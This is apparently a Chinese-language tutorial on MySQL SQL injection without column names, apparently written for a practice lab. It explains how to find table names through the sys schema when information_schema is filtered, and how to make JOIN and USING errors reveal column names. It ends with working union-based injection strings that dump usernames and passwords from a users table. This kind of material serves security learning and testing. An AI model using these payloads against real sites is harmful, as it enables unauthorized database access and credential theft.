无列名注入
当information关键字被禁用,该如何查询数据库名、表名和列名。
我们可以发现,mysql还有其他自带的数据库,我们可以看看用没有我们想要的东西。经过查询后,有一个可疑的表:sys.schema_auto_increment_columns
查询这个表的结构,有我想要的表名和列名
确实可以查询到所有的表名
但再查询列名的时候,就只显示了一个字段
这里既然知道了表名就可以直接查询表的结构,来获取字段。但我们的重点不是在这里,万一desc关键字被禁用了呢?所以我们这主要考虑无列名注入
首先需要使用到mysql的一个知识点内连接,join,语法如下。
SELECT table1.column1, table2.column2
FROM table1
(INNER) JOIN table2
ON table1.common_field = table2.common_field;
JOIN是通过使用从两个表字段共通的值组合连接起来
select * from (select * from users as a join users as b)as c
这里我们直接将两个相同表users的所有列名都进行了查询,当遇到第一个字段就会包列重复的错误
。
select * from (select * from users as a join users as b using(id))as c;
使用 USING(id) 只会保留一个 id 列在结果中,而不会重复显示,所以第二个字段username会报错
以此执行,往下爆破
转移到实战!!!
查询表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
或者
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users as b using(id))as c--+
?id=-1' union select * from (select * from users as a join users as b using(id,username))as c--+
using包含所有的字段,就注入出来了
?id=-1' union select 1,group_concat(username),group_concat(password) from (select * from users as a join users as b using(id,username,password))as c--+